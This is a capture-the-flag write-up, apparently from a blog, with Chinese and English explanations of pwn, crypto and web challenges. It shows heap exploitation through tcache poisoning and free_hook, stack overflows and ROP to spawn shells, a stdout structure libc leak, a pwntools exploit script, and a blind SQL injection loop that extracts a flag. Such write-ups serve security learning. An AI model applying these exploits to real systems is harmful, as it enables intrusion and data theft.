Ranked 5th overall, solving 26 challenges. Since we solved quite a lot of challenges in this competition, I’ll only briefly write about some interesting ones here. But I should write all the Pwn challenges.
if (strcmp(command, "push") == 0) { if (sscanf(input, "%*s %ld", &value) == 1) { stack[++top] = value; printf("Pushed %ld to stack\n", value); } else { printf("Invalid push.\n"); } } elseif (strcmp(command, "pop") == 0) { printf("Popped %ld from stack\n", stack[top--]);
漏洞點非常明顯,array 在 stack 上 pop 跟 push 沒有管控,導致可以控制top成很大或很小的數字來 oob,這題直接 oob 寫 ret address 就好了 另外show 可以用來 leakPIE 跳 print_flag 另外我這邊在蓋的時候,剛好可以蓋到 top,所以我直接把 top 改成可以推寫入到 save rbp,再往下寫入就可以了 (注意不要蓋到 stack canary)
The vulnerability is very obvious: the array is located on the stack. By using pop and push, we can manipulate top to a very large or very small number, leading to oob condition. In this challenge, directly using OOB to overwrite the return address is sufficient.
Additionally, show can be used to leak PIE and jump to print_flag.
When overwriting, I happened to be able to overwrite top, so I directly changed top to the saved rbp. From there, I continued writing downward and write return address (making sure not to overwrite the stack canary).
The edit function has a very obvious heap overflow. Using the unsorted bin, we can leak libc. Allocate two chunks, then free the lower chunk. Use heap overflow to overwrite the tcache fd to point to free_hook, then overwrite free_hook with system. Finally, free a chunk containing /bin/sh to get a shell.
PS: Remember that when allocating the fake chunk for free_hook, the tcache_pthread count must be greater than 0.
_main(); v0 = __acrt_iob_func(1u); setvbuf(v0, 0LL, 4, 0LL); printf("Something important: %p\n", main); puts("Can you get the flag?"); _read(0, buf, 0x100u); return0LL; }
有 buffer overflow 蓋 return address 控 rip 跳到 magic function(有給 main function address,通過計算 magic function 跟 main function offset 算出 magic address)
There is a buffer overflow that overwrites the return address, controlling the rip to jump to the magic function. The address of the main function is provided, and by calculating the offset between the magic function and the main function, we can determine the magic function’s address.
void __cdecl magic(constchar *param1, int param2, constchar *param3) { if ( !strcmp(param1, "B33F50UP") ) { if ( param2 == 1337 ) { if ( !strcmp(param3, "open_sesame") ) { puts("All parameters are correct. Opening shell..."); WinExec("cmd.exe", 0); } else { puts("Parameter 3 is incorrect!"); } } else { puts("Parameter 2 is incorrect!"); } } else { puts("Parameter 1 is incorrect!"); } }
這邊記得往後跳一點,跳過判斷式,就可以 get shell 了 如果有亂碼就下 chcp 65001
Remember to jump a bit further ahead to skip the conditional check, and you’ll be able to get the shell. If you encounter any garbled characters, run chcp 65001 to set the code page to UTF-8.
My script
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import *
r = remote("172.31.0.3", 56001) context.arch = "amd64"
r.newline = b"\r\n" r.recvuntil(b'Something important: ') main = int(r.recvuntil(b"\n"), 16) print(hex(main)) magic = main - 46 r.sendlineafter(b'Can you get the flag?',b'a'*56+p64(magic))
r.interactive()
Globalstack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
int64_tstack[MAX_STACK_SIZE]; int64_t* top = stack - 1;
if (strcmp(command, "push") == 0) { if (sscanf(input, "%*s %ld", &value) == 1) { top += 1; *top = (int64_t)value; printf("Pushed %ld to stack\n", value); } else { printf("Invalid push.\n"); } } elseif (strcmp(command, "pop") == 0) { printf("Popped %ld from stack\n", *top); top -= 1; }
跟 localstack,不過這題不在 stack 上,GOT 上有libc,通過show leak libc,之後改 top (改成任意記憶體位置可以有任意寫) 到 free hook,並把 free hook 寫 one gadget,跳上去 get shell
This is similar to localstack, but in this case, it’s not on the stack. The GOT contains a libc address. By using the show function, we can leak libc. After that, we modify top (which allows us to write to any memory location) to point to the free_hook, then overwrite the free_hook with a one-gadget. Finally, we jump to the one-gadget to get the shell.
puts("| Show your skills !"); printf("| > "); scanf("%llx", &ptr);
printf("| > "); read(0, ptr, 0x10);
這裡有任意寫可以控 libc 裡面的 GOT,將 rsp 往上搬 0x58
we have arbitrary write, which allows us to control the GOT inside libc. By moving the rsp up by 0x58
1 2 3 4 5 6 7 8 9 10 11
puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans0, 8);
puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans1, 8);
puts("| Do you know how the stack works ?"); printf("| > "); read(0, ans2, 8);
接下來在原本讓你輸入的地方會剛好在 rsp 所指的地方,ret繼續執行,這邊寫 onegadget(前面兩個 gadget 用來調整成 one gadget 條件)
Next, the place where you were originally allowed to input will happen to be at the location pointed to by rsp. After the ret, execution continues. Here, we write the one-gadget (with the previous two gadgets used to adjust the conditions for the one-gadget).
In this case, a buffer overflow is used to perform a ROP attack. Through gadgets, we write /bin/sh to memory and set up the values for rax, rdi, rsi, and rdx to match the syscall table. The only issue encountered is the absence of a direct syscall, but by inspecting the code in GDB, we can see that the syscall is encapsulated (it’s not a regular syscall).
However, this encapsulated syscall shifts the parameters, so we just need to account for the offset in the parameters to make it work correctly.
1 2 3 4 5 6 7 8 9 10 11 12
ENTRY (syscall) movq %rdi, %rax /* Syscall number -> rax. */ movq %rsi, %rdi /* shift arg1 - arg5. */ movq %rdx, %rsi movq %rcx, %rdx movq %r8, %r10 movq %r9, %r8 movq 8(%rsp),%r9 /* arg6 is on the stack. */ syscall /* Do the system call. */ cmpq $-4095, %rax /* Check %rax for error. */ jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */ ret
To understand how to leak libc using _IO_2_1_stdout_, we need to focus on the file structure, specifically the flags _IO_CURRENTLY_PUTTING and _IO_IS_APPENDING. By modifying the flags of the file structure and shrinking _IO_write_base, we can exploit this to leak libc.
After deleting and freeing the chunk, the pointer is not cleared, leading to UAF vulnerability. First, we malloc two chunks: one large chunk goes into the unsorted bin, and one small chunk prevents the unsorted bin chunk from being merged into the top chunk.
Next, malloc two more chunks. These will be allocated from the unsorted bin chunk. The first chunk will contain a main_arena pointer (since the double-linked list points back to main_arena).
By freeing the second chunk, it will go into the tcache. Through the UAF, we overwrite the lower part of the first chunk (which contains main_arena) with 0xd6a0 and copy it into the freed tcache chunk.
The offset of _IO_2_1_stdout_ is 0x1ed6a0, and the offset of main_arena is 0x1ecfd0. By subtracting the lower bits (which are 0x000), we can directly modify the value, and since the highest bits are the same, there won’t be any issues. This gives us a 1/16 chance (0x0 ~ 0xf) of obtaining the stdout address.
Once we have stdout, we change the flags to 0xfbad1800 and set the lower bits of write_base to 0x00.
After obtaining the libc base address, we proceed with tcache poisoning, similar to the babyheap technique.
from Crypto.Util.number import getPrime, long_to_bytes from Crypto.Util.Padding import pad,unpad from Crypto.Cipher import AES from random import randrange
#!/usr/bin/env python3 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import default_backend from pwn import * import os import ast
defaes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes: """ Decrypts a message encrypted using AES in CBC mode. Parameters: encrypted_msg (bytes): The encrypted message (IV + ciphertext). key (bytes): The decryption key (must be 16, 24, or 32 bytes long). Returns: bytes: The original plaintext message. """ iflen(key) notin {16, 24, 32}: raise ValueError("Key must be 16, 24, or 32 bytes long.") # Extract the IV (first 16 bytes) and ciphertext (remaining bytes) iv = encrypted_msg[:16] ciphertext = encrypted_msg[16:] # Create the AES cipher in CBC mode cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() # Decrypt the ciphertext padded_msg = decryptor.update(ciphertext) + decryptor.finalize() # Remove padding from the decrypted message # unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() # msg = unpadder.update(padded_msg) + unpadder.finalize() return padded_msg
defexploit(): result = [] flag = "TSC{" whileTrue: for i in string.ascii_lowercase+string.digits+string.ascii_uppercase+"_": payload = f'{BASE_URL}/customize/1%20AND%20EXISTS%20%28SELECT%201%20FROM%20discount_codes%20WHERE%20code%20LIKE%20BINARY%20%22{flag + i}%25")' respond = session.get(payload) if"15.6吋多功能筆電,AMD處理器"notin respond.text: